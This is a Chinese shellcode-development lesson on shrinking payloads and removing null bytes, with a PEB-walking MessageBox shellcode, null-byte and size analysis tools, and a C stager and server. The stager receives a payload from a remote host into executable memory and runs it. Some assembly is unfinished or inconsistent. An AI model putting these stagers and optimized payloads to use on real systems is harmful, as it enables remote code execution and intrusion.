shellcode开发技术
6、shellcode精简字节数
1、课程目标
- 掌握ShellCode体积优化的各种技术
- 理解指令编码与空字节消除
- 学习代码压缩和复用技巧
- 实现最小化的功能ShellCode
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| Opcode | Operation Code | 指令操作码 |
| NOP Sled | NOP Slide | 空指令滑板,用于增加命中率 |
| Egg Hunter | 蛋搜索器 | 搜索内存中特定标记的小型ShellCode |
| Staged | 分阶段 | 小加载器+大Payload的模式 |
| Stager | 阶段加载器 | 负责加载主Payload的小型代码 |
| Inline | 内联 | 将函数代码直接嵌入调用处 |
3、使用工具
| 工具 | 用途 | 备注 |
|---|---|---|
| NASM | 精确控制指令 | 手动优化 |
| objdump | 查看指令编码 | 分析字节 |
| Python | 自动化分析 | 统计和测试 |
| x64dbg | 验证功能 | 确保正确性 |
4、技术原理
1. 指令长度对比
常见指令的不同编码方式:
设置寄存器为0:
mov eax, 0 → B8 00 00 00 00 (5字节,4个空字节)
xor eax, eax → 31 C0 (2字节,无空字节) ✓
sub eax, eax → 29 C0 (2字节,无空字节)
设置寄存器为1:
mov eax, 1 → B8 01 00 00 00 (5字节,3个空字节)
xor eax, eax → 31 C0
inc eax → 40 (共3字节,无空字节) ✓
push 0:
push 0 → 6A 00 (2字节,1个空字节)
xor eax, eax → 31 C0
push eax → 50 (共3字节,无空字节) ✓
小立即数:
mov eax, 0xFF → B8 FF 00 00 00 (5字节)
push 0xFF → 6A FF
pop eax → 58 (共3字节) ✓
2. 优化策略层次
Level 1: 指令替换
- 消除空字节
- 使用短编码指令
Level 2: 代码重构
- 合并重复代码
- 函数内联/提取
Level 3: 算法优化
- 简化逻辑流程
- 减少API调用
Level 4: 架构重设计
- 分阶段加载
- Egg Hunter模式
3. 常用优化技巧
| 技巧 | 原始 | 优化后 | 节省 |
|---|---|---|---|
| 清零 | mov reg,0 | xor reg,reg | 3字节 |
| 小值 | mov reg,N | push N; pop | 2字节 |
| 调用 | call addr | push ret; jmp | 可变 |
| 字符串 | 数据段 | 栈构造 | 避免数据段 |
| 循环 | for循环 | loop指令 | 可变 |
4、代码实现
1. 优化前后对比
; shellcode_optimize.asm
; ShellCode优化示例
BITS 32
; ========== 未优化版本 ==========
section .unoptimized
unopt_start:
; 1. 清零寄存器 - 未优化
mov eax, 0 ; B8 00 00 00 00 (5字节)
mov ebx, 0 ; BB 00 00 00 00 (5字节)
mov ecx, 0 ; B9 00 00 00 00 (5字节)
mov edx, 0 ; BA 00 00 00 00 (5字节)
; 总计: 20字节,16个空字节
; 2. 设置小值 - 未优化
mov eax, 1 ; B8 01 00 00 00 (5字节)
mov ebx, 2 ; BB 02 00 00 00 (5字节)
; 总计: 10字节,6个空字节
; 3. push 0 - 未优化
push 0 ; 6A 00 (2字节,1个空字节)
push 0 ; 6A 00 (2字节,1个空字节)
; 总计: 4字节,2个空字节
unopt_end:
; 未优化总计: 34字节,24个空字节
; ========== 优化后版本 ==========
section .optimized
opt_start:
; 1. 清零寄存器 - 优化
xor eax, eax ; 31 C0 (2字节)
xor ebx, ebx ; 31 DB (2字节)
xor ecx, ecx ; 31 C9 (2字节)
xor edx, edx ; 31 D2 (2字节)
; 总计: 8字节,0个空字节
; 节省: 12字节 (60%)
; 更激进: 使用cdq
xor eax, eax ; 31 C0 (2字节)
cdq ; 99 (1字节) edx = 0
; 如果只需要eax和edx为0: 3字节
; 2. 设置小值 - 优化
xor eax, eax ; 31 C0
inc eax ; 40 (3字节,eax=1)
push 2 ; 6A 02
pop ebx ; 5B (3字节,ebx=2)
; 总计: 6字节,0个空字节
; 节省: 4字节 (40%)
; 3. push 0 - 优化
xor eax, eax ; 31 C0 (2字节,只需执行一次)
push eax ; 50 (1字节)
push eax ; 50 (1字节)
; 总计: 4字节(如果已经有清零的寄存器则2字节)
; 节省: 消除了空字节
opt_end:
; 优化后总计: 约16字节,0个空字节
2. 极限优化的MessageBox ShellCode
; tiny_msgbox.asm
; 极限优化的MessageBox ShellCode (x86)
; 目标: 最小体积,无空字节
BITS 32
global _start
_start:
; === 获取kernel32 (优化版) ===
xor ecx, ecx ; 31 C9
mul ecx ; F7 E1 (eax=edx=0)
mov eax, [fs:ecx+0x30] ; 64 8B 41 30
mov eax, [eax+0x0C] ; 8B 40 0C
mov esi, [eax+0x14] ; 8B 70 14
.next_mod:
lodsd ; AD (eax=[esi], esi+=4)
xchg eax, esi ; 96
mov ebx, [esi+0x10] ; 8B 5E 10 (DllBase)
mov edi, [esi+0x28] ; 8B 7E 28 (BaseDllName.Buffer)
; 检查是否kernel32 (简化检查)
cmp byte [edi+0x0C], '3'; 80 7F 0C 33
jne .next_mod ; 75 F0
; ebx = kernel32
; === 获取函数 (优化: 复用代码) ===
; 计算GetProcAddress哈希并查找
push 0xec0e4e8e ; LoadLibraryA hash
push ebx
call find_func
xchg eax, ebp ; LoadLibraryA -> ebp
push 0x7c0dfcaa ; GetProcAddress hash
push ebx
call find_func
xchg eax, edi ; GetProcAddress -> edi
; === 加载user32.dll ===
; 使用栈构造字符串(避免数据段)
xor eax, eax
push eax ; null terminator
push 'l' ; 使用单字符push需要技巧
; 更好的方式:
push 0x006c6c64 ; "dll\0" (有空字节,需要处理)
; 无空字节版本:
mov eax, 0x6c6c64ff
shr eax, 8 ; eax = 0x006c6c64
push eax
push '.23r' ; "r32."
push 'esus' ; 需要调整...
; 实际实现(简化):
push 0x61616161 ; 占位
mov [esp], dword 'user'
mov [esp+4], dword '32.d'
mov [esp+8], word 'll'
mov byte [esp+10], 0
push esp
call ebp ; LoadLibraryA
; === 获取MessageBoxA ===
push 0xbc4da2a8 ; MessageBoxA hash
push eax
call find_func
; === 调用MessageBoxA ===
xor ecx, ecx
push ecx ; MB_OK
push ecx ; lpCaption
push '!iH' ; 简短消息
mov [esp+2], cl ; null终止
push esp
push ecx ; hWnd
call eax
; === 退出 ===
push 0x73e2d87e ; ExitProcess hash
push ebx
call find_func
xor ecx, ecx
push ecx
call eax
; === 紧凑的函数查找 ===
find_func:
pushad
mov ebp, [esp+0x24] ; 模块基址
mov esi, [esp+0x28] ; 目标哈希
mov eax, [ebp+0x3C]
mov ecx, [ebp+eax+0x78]
add ecx, ebp ; 导出表
mov ebx, [ecx+0x20]
add ebx, ebp ; 名称表
xor edx, edx ; 索引
.find_loop:
mov edi, [ebx+edx*4]
add edi, ebp
; 计算ROR13哈希
xor eax, eax
.hash_loop:
ror eax, 0x0D
add al, [edi]
inc edi
cmp byte [edi], 0
jne .hash_loop
cmp eax, esi
je .found
inc edx
jmp .find_loop
.found:
mov ebx, [ecx+0x24]
add ebx, ebp
movzx edx, word [ebx+edx*2]
mov ebx, [ecx+0x1C]
add ebx, ebp
mov eax, [ebx+edx*4]
add eax, ebp
mov [esp+0x1C], eax ; 存入popad后的eax位置
popad
ret 8
3. 分阶段ShellCode (Stager)
// stager.c
// 小型分阶段加载器 - 下载并执行主Payload
#include <windows.h>
#include <stdio.h>
// 极简Stager ShellCode (约100字节目标)
// 功能: 连接服务器,接收并执行ShellCode
#pragma optimize("", off)
#pragma code_seg(".stager")
#ifndef _WIN64
__declspec(naked) void Stager() {
__asm {
; === 初始化 ===
pushad
xor ebx, ebx
mul ebx ; eax=edx=0
; === 获取kernel32 ===
mov eax, fs:[0x30]
mov eax, [eax+0x0C]
mov eax, [eax+0x14]
mov eax, [eax]
mov eax, [eax]
mov ebp, [eax+0x10] ; ebp = kernel32
; === 使用哈希获取WSAStartup ===
; (简化: 假设ws2_32已加载)
; === 分配接收缓冲区 ===
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x10000 ; 64KB
push ebx ; NULL
; 调用VirtualAlloc (假设地址已知或通过哈希获取)
; mov eax, VirtualAlloc_addr
; call eax
; === 连接并接收 ===
; socket -> connect -> recv 循环
; === 跳转执行 ===
; jmp eax (接收缓冲区)
popad
ret
}
}
#endif
#pragma code_seg()
#pragma optimize("", on)
// C语言版本的Stager逻辑
void StagerLogic(const char* ip, WORD port) {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
// 连接服务器
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
connect(sock, (struct sockaddr*)&addr, sizeof(addr));
// 接收Payload大小
DWORD size;
recv(sock, (char*)&size, 4, 0);
// 分配可执行内存
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 接收Payload
DWORD received = 0;
while (received < size) {
int n = recv(sock, (char*)mem + received, size - received, 0);
if (n <= 0) break;
received += n;
}
closesocket(sock);
// 执行Payload
((void(*)())mem)();
}
// 演示Stager服务器
void StagerServer(WORD port, const char* payloadFile) {
// 读取Payload
HANDLE hFile = CreateFileA(payloadFile, GENERIC_READ, 0, NULL,
OPEN_EXISTING, 0, NULL);
DWORD payloadSize = GetFileSize(hFile, NULL);
LPBYTE payload = (LPBYTE)malloc(payloadSize);
DWORD read;
ReadFile(hFile, payload, payloadSize, &read, NULL);
CloseHandle(hFile);
printf("[*] Loaded payload: %lu bytes\n", payloadSize);
// 启动服务器
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
bind(srv, (struct sockaddr*)&addr, sizeof(addr));
listen(srv, 1);
printf("[*] Waiting for stager connection on port %d...\n", port);
SOCKET client = accept(srv, NULL, NULL);
printf("[+] Stager connected!\n");
// 发送Payload大小
send(client, (char*)&payloadSize, 4, 0);
// 发送Payload
send(client, (char*)payload, payloadSize, 0);
printf("[+] Sent %lu bytes\n", payloadSize);
closesocket(client);
closesocket(srv);
WSACleanup();
free(payload);
}
int main(int argc, char* argv[]) {
printf("========================================\n");
printf(" Staged ShellCode Demo \n");
printf("========================================\n\n");
if (argc >= 3 && strcmp(argv[1], "server") == 0) {
StagerServer(4444, argv[2]);
} else if (argc >= 3 && strcmp(argv[1], "client") == 0) {
StagerLogic(argv[2], 4444);
} else {
printf("Usage:\n");
printf(" Server: %s server <payload.bin>\n", argv[0]);
printf(" Client: %s client <server_ip>\n", argv[0]);
}
return 0;
}
4. 空字节消除工具
#!/usr/bin/env python3
# null_byte_eliminator.py
# 空字节检测和替换建议工具
import sys
import struct
# 空字节指令替换建议
REPLACEMENTS = {
# mov reg, 0
b'\xB8\x00\x00\x00\x00': ('mov eax, 0', 'xor eax, eax', b'\x31\xC0'),
b'\xBB\x00\x00\x00\x00': ('mov ebx, 0', 'xor ebx, ebx', b'\x31\xDB'),
b'\xB9\x00\x00\x00\x00': ('mov ecx, 0', 'xor ecx, ecx', b'\x31\xC9'),
b'\xBA\x00\x00\x00\x00': ('mov edx, 0', 'xor edx, edx', b'\x31\xD2'),
# mov reg, 1
b'\xB8\x01\x00\x00\x00': ('mov eax, 1', 'xor eax, eax; inc eax', b'\x31\xC0\x40'),
b'\xBB\x01\x00\x00\x00': ('mov ebx, 1', 'xor ebx, ebx; inc ebx', b'\x31\xDB\x43'),
# push 0
b'\x6A\x00': ('push 0', 'xor eax, eax; push eax (if eax free)', b'\x31\xC0\x50'),
# call/jmp with small offset containing null
b'\xE8\x00\x00\x00\x00': ('call +5 (relative)', 'use different offset', None),
}
def analyze_shellcode(data):
"""分析ShellCode中的空字节"""
print(f"[*] Analyzing {len(data)} bytes\n")
# 统计
null_count = data.count(b'\x00')
print(f"[*] Total null bytes: {null_count} ({100*null_count/len(data):.1f}%)")
# 空字节位置
print(f"\n[*] Null byte positions:")
null_positions = []
for i, b in enumerate(data):
if b == 0:
null_positions.append(i)
# 分组显示
groups = []
if null_positions:
start = null_positions[0]
end = start
for pos in null_positions[1:]:
if pos == end + 1:
end = pos
else:
groups.append((start, end))
start = end = pos
groups.append((start, end))
for start, end in groups:
if start == end:
print(f" [0x{start:04X}]")
else:
print(f" [0x{start:04X} - 0x{end:04X}] ({end-start+1} bytes)")
# 检查已知模式
print(f"\n[*] Known patterns with null bytes:")
for pattern, (orig, replacement, new_bytes) in REPLACEMENTS.items():
count = data.count(pattern)
if count > 0:
print(f" '{orig}' found {count} time(s)")
print(f" Replace with: '{replacement}'")
if new_bytes:
print(f" New bytes: {new_bytes.hex()}")
return null_count
def remove_nulls(data, aggressive=False):
"""尝试自动替换一些已知的空字节模式"""
result = data
# 简单替换
simple_replacements = [
(b'\xB8\x00\x00\x00\x00', b'\x31\xC0'), # mov eax,0 -> xor eax,eax
(b'\xBB\x00\x00\x00\x00', b'\x31\xDB'), # mov ebx,0 -> xor ebx,ebx
(b'\xB9\x00\x00\x00\x00', b'\x31\xC9'), # mov ecx,0 -> xor ecx,ecx
(b'\xBA\x00\x00\x00\x00', b'\x31\xD2'), # mov edx,0 -> xor edx,edx
]
for old, new in simple_replacements:
if old in result:
print(f"[+] Replacing {old.hex()} with {new.hex()}")
result = result.replace(old, new)
return result
def format_output(data, format_type='c'):
"""格式化输出"""
if format_type == 'c':
result = 'unsigned char shellcode[] = \n"'
for i, b in enumerate(data):
result += f'\\x{b:02X}'
if (i + 1) % 16 == 0 and i < len(data) - 1:
result += '"\n"'
result += '";\n'
return result
elif format_type == 'nasm':
result = 'shellcode:\n db '
for i, b in enumerate(data):
result += f'0x{b:02X}'
if (i + 1) % 8 == 0:
result += '\n db '
elif i < len(data) - 1:
result += ', '
return result.rstrip(', \n db ')
return data.hex()
def main():
if len(sys.argv) < 2:
print("Usage: python null_byte_eliminator.py <shellcode.bin> [output.bin]")
sys.exit(1)
with open(sys.argv[1], 'rb') as f:
data = f.read()
null_count = analyze_shellcode(data)
if null_count > 0 and len(sys.argv) >= 3:
print(f"\n[*] Attempting automatic null removal...")
cleaned = remove_nulls(data)
new_null_count = cleaned.count(b'\x00')
print(f"[*] Null bytes: {null_count} -> {new_null_count}")
with open(sys.argv[2], 'wb') as f:
f.write(cleaned)
print(f"[+] Saved to: {sys.argv[2]}")
print(f"\n{format_output(cleaned)}")
if __name__ == "__main__":
main()
5. 体积统计工具
// shellcode_stats.c
// ShellCode体积分析工具
#include <windows.h>
#include <stdio.h>
typedef struct {
int totalBytes;
int nullBytes;
int uniqueBytes;
int printableBytes; // 0x20-0x7E
int alphanumBytes; // A-Z, a-z, 0-9
int instructionCount; // 估算
} ShellcodeStats;
void AnalyzeShellcode(const unsigned char* code, size_t size, ShellcodeStats* stats) {
memset(stats, 0, sizeof(ShellcodeStats));
stats->totalBytes = (int)size;
int byteCount[256] = {0};
for (size_t i = 0; i < size; i++) {
unsigned char b = code[i];
byteCount[b]++;
if (b == 0x00) stats->nullBytes++;
if (b >= 0x20 && b <= 0x7E) stats->printableBytes++;
if ((b >= 'A' && b <= 'Z') || (b >= 'a' && b <= 'z') || (b >= '0' && b <= '9')) {
stats->alphanumBytes++;
}
}
for (int i = 0; i < 256; i++) {
if (byteCount[i] > 0) stats->uniqueBytes++;
}
// 简单估算指令数(平均每条指令2.5字节)
stats->instructionCount = (int)(size / 2.5);
}
void PrintStats(const char* name, ShellcodeStats* stats) {
printf("\n=== %s ===\n", name);
printf("Total size: %d bytes\n", stats->totalBytes);
printf("Null bytes: %d (%.1f%%)\n", stats->nullBytes,
100.0 * stats->nullBytes / stats->totalBytes);
printf("Unique bytes: %d / 256\n", stats->uniqueBytes);
printf("Printable bytes: %d (%.1f%%)\n", stats->printableBytes,
100.0 * stats->printableBytes / stats->totalBytes);
printf("Alphanumeric: %d (%.1f%%)\n", stats->alphanumBytes,
100.0 * stats->alphanumBytes / stats->totalBytes);
printf("Est. instructions: ~%d\n", stats->instructionCount);
// 兼容性评估
printf("\nCompatibility:\n");
printf(" Null-free: %s\n", stats->nullBytes == 0 ? "Yes" : "No");
printf(" Alpha-only: %s\n", stats->alphanumBytes == stats->totalBytes ? "Yes" : "No");
}
int main(int argc, char* argv[]) {
printf("========================================\n");
printf(" ShellCode Size Analysis \n");
printf("========================================\n");
if (argc < 2) {
printf("Usage: %s <shellcode.bin>\n", argv[0]);
return 1;
}
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open: %s\n", argv[1]);
return 1;
}
DWORD size = GetFileSize(hFile, NULL);
unsigned char* code = (unsigned char*)malloc(size);
DWORD read;
ReadFile(hFile, code, size, &read, NULL);
CloseHandle(hFile);
ShellcodeStats stats;
AnalyzeShellcode(code, size, &stats);
PrintStats(argv[1], &stats);
// 字节频率分布
printf("\n=== Byte Frequency (Top 10) ===\n");
int freq[256] = {0};
for (DWORD i = 0; i < size; i++) {
freq[code[i]]++;
}
// 找出最常见的10个字节
for (int n = 0; n < 10; n++) {
int maxIdx = 0, maxCount = 0;
for (int i = 0; i < 256; i++) {
if (freq[i] > maxCount) {
maxCount = freq[i];
maxIdx = i;
}
}
if (maxCount > 0) {
printf(" 0x%02X: %d times (%.1f%%)\n", maxIdx, maxCount,
100.0 * maxCount / size);
freq[maxIdx] = 0;
}
}
free(code);
return 0;
}
6、课后作业
6.1、作业1:手动优化练习
优化以下ShellCode片段,消除所有空字节并尽量减少体积:
mov eax, 0
mov ebx, 0
mov ecx, 0
push 0
push 0
mov eax, 0x12345678
6.2、作业2:实现Egg Hunter
编写一个小于50字节的Egg Hunter ShellCode。
6.3、作业3:体积挑战
尝试实现一个最小的MessageBox ShellCode,目标小于150字节。